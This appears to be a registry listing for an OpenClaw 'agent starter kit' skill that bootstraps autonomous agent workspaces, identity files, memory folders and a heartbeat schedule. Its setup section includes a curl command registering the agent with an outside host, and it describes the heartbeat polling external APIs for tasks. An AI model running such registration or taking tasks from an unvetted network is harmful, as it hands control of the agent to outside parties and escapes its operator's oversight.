A comprehensive foundation that automates workspace setup, memory systems, and network discovery for new autonomous agents.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install agent-starter-kit
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install agent-starter-kit using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Agent Starter Kit?
The Agent Starter Kit is designed to be the definitive starting point for any autonomous agent deployment. It provides a standardized infrastructure that includes workspace organization, identity definitions through SOUL.md, and a proactive heartbeat system. By utilizing these Openclaw Skills, developers can move from a blank state to a fully operational agent with structured memory and secure credentials in under a minute.
This skill acts as the architectural backbone, ensuring that every agent follows best practices for self-correction, decision-making, and network communication. It bridges the gap between a raw LLM and a persistent, autonomous entity capable of managing its own routine tasks and long-term context.
Agent Starter Kit Use Cases
- Rapidly bootstrapping new autonomous agents with a standard directory structure.
- Standardizing identity and behavioral logic across multiple agent instances.
- Implementing a proactive monitoring system for agents to check calendars, messages, and network status.
- Establishing a secure and structured long-term memory system for persistent context.
How Agent Starter Kit Works
- Creates the necessary directory hierarchy within the .openclaw/workspace folder, including specialized memory subdirectories.
- Generates the AGENTS.md file to define boot protocols and session-start instructions.
- Populates the SOUL.md file to establish the agent's core values, decision-making style, and persona.
- Configures HEARTBEAT.md to schedule periodic network pings, routine checks, and task discovery.
- Executes security scripts to harden credential file permissions and protect sensitive configurations.
- Optionally registers the agent on the OADP network to enable discovery and collaboration.
Agent Starter Kit Setup
To initialize your agent foundation, run the following commands in your terminal:
# Initialize directory structure
WORKSPACE="$HOME/.openclaw/workspace"
mkdir -p "$WORKSPACE/memory/topics"
# Secure sensitive configuration files
find ~/.config -name "*.json" -exec chmod 600 {} \;
# Register agent with the network (Optional)
curl -s -X POST "https://onlyflies.buzz/clawswarm/api/v1/agents/register" \
-H "Content-Type: application/json" \
-d '{"name":"YOUR_NAME","description":"Your agent description","capabilities":["start-kit"]}'
Once installed, prompt your agent to read the agent-starter-kit SKILL.md to finalize the internal configuration.
Agent Starter Kit Data Schema & Taxonomy
The skill organizes data within a hierarchical workspace to ensure high retrieval accuracy for Openclaw Skills:
| File / Path | Purpose |
|---|---|
AGENTS.md |
Central boot protocol and memory management rules |
SOUL.md |
Core behavioral identity and resourcefulness guidelines |
HEARTBEAT.md |
Schedule for proactive checks and network task polling |
memory/topics/ |
Categorized long-term storage for specific domains |
memory/YYYY-MM-DD.md |
Daily session logs for short-term contextual awareness |
Agent Starter Kit Advanced Features
- Integrated OADP 1.0 support for seamless network discovery and agent-to-agent communication.
- Pre-configured secret scanning logic to prevent accidental credential leakage.
- Dynamic heartbeat configuration for automated task polling from external APIs.
- Recommended skill ecosystem integration, allowing for easy expansion into blockchain monitoring or advanced security hardening.
SKILL.md
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